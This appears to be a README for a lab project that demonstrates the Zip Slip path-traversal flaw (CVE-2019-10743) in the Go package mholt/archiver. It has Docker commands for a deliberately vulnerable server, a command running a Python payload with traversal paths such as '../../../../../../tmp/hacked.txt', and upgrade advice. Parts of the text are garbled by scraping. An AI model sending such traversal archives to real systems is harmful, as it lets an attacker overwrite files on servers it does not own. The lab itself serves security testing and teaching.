
Proof-of-concept exploit demonstrating the Zip Slip vulnerability (CVE-2019-10743) in mholt/archiver, with a vulnerable server and Python payload for path traversal testing.
This project demonstrates the Zip Slip vulnerability (CVE-2019-10743) using the vulnerable version of the mholt/archiver package.
Zip Slip is vulnerability that was uncovered by the security researchers from Snyk. It was found that the vulnerability is impacting muliple packages that are being used in the wild. The vulnerability can be exploited so that it could lead to issues such as:
mholt/archiver is a Go package that provides a simple and consistent API for working with archive files and compressed files. It supports formats such as , , , or .
.zip.tar.tar.gz.7z.rarmholt/archiver package../../../../../tmp/hacked.txt)# Start the vulnerable server
./docker-run.sh start
# Stop the server
./docker-run.sh stop
# View logs
./docker-run.sh logs
# Clean up
./docker-run.sh cleanup
Observation: Ensure that docker-run.sh has execution rights:
# Give execution rights
chmod +x ./docker-run.sh
After the container is up and running you can use a command similar to this one in order to access the test environment:
# Connect to the container that is running the application
docker exec -it zipslip-vulnerable-server /bin/bash
# Install Python dependencies
pip3 install -r requirements.txt
# Execute the payload
python3 test_exploit.py -p "../../../../../../tmp/hacked.txt" -c "You were pwned!"
Note: The commands should be executable inside the container.
-u, --url: Server URL (default: http://localhost:8080)-z, --zip: ZIP filename (default: malicious_test.zip)-p, --path: Path traversal filename (default: ../../../malicious_escaped.txt)-c, --content: File contentTo fix this vulnerability:
mholt/archiver version 3.3.2 or later